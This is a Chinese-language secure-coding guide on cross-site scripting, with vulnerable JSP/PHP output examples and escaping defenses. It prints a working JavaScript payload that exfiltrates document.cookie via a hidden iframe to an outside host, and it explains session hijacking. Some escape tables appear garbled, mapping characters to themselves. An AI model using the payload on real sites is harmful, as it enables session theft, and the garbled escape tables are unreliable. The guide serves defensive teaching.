攻击者利用应用程序的动态展示数据功能,在 html 页面里嵌入恶意代码。当用户浏览该页之时,这些嵌入在 html 中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的。
while(rs.next()){
%>
<%=rs.getInt("id") %>
<%=rs.getString("pname")%>
<%=rs.getString("pdesc")%>
<%=rs.getString("ptype")%>
<%
}
代码中这几个加粗的变量“rs.getInt(“id”)、 rs.getString(“pname”)、rs.getString(“pdesc”)、 rs.getString(“ptype”)” ,被直接输出到了页面中,没有做任何安全过滤,一旦让用户可以输入数据,都可能导致用户浏览器把“用户可控数据”当成JS/VBS 脚本执行,或页面元素被“用户可控数据”插入的页面 HTML 代码控制,从而造成攻击。
- php实例
<tr>
<td>=$row["id"] ?></td>
<td>=$row["pname"]?></td>
<td>=$row["pdesc"]?></td>
<td>=$row["ptype"]?></td>
</tr>
a=document.createElement("iframe");
function b(){e=escape(document.cookie);
c=["http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie=",e,Math.random()];
document.body.appendChild(a);
a.src=c.join();}setTimeout('b()',5000);
获取当前浏览者的 COOKIE,并发送到 a.php,这个文件负责接收到用户发来的cookie,并保存为 haha.txt 文件。这时,用户的 cookie 已经发送到了攻击者的服务器上,攻击者可以打开 haha.txt 文件。
这就是刚才那个用户的 cookie,攻击者可以使用浏览器插件,把自己的 cookie 替换成刚刚窃取用户的 cookie。之后攻击者再次访问服务器时,服务器应用程序,就认为攻击者的身份是刚刚那个用户。
<div>#escapeHTML($user.name) </div>
- escapeHTML 需要进行 html 转义应该按照以下列表进行转义
```
& --> &
< --> <
> --> >
" --> "
' --> '
```
文章内容: #SHTML($article.context)
'action', 'background', 'codebase', 'dynsrc', 'href', 'lowsrc', 'src'
char[] uc = url.toCharArray();
if(uc[0] != 'h' || uc[1] != 't' || uc[2] != 't' || uc[3] != 'p'){
return "";}
/*转义“用户可控数据”中的以下字符
< --> %3C
> --> %3E
" --> %22
' --> %27
针对 DOM 跨站的解决方案,详见《javascript 安全编码规范》
在给用户设置认证 COOKIE 时,加入 HTTPONLY,详见《Cookie httponly flag》章节
在 style 内容中输出的“用户可控数据”,需要做 CSS escape 转义。
String safe = ESAPI.encoder().encodeForCSS( request.getParameter("input") );
<man>
<name>#xmlEscape($name)name>
<man>
- json 输出要先对变量内容中的“用户可控数据”单独作 htmlEscape,再对变量内容做一次 javascriptEscape。
String cityname=”浙江<B>”+StringUtil.htmlEscape(city.name)+”</B>”;
String json =
"citys:{city:['"+
StringUtil.javascript(cityname) +
"']}";
response.setContentType("application/json");
PrintWriter out = response.getWriter();
out.println(StringUtil.htmlEscape(ajaxReturn));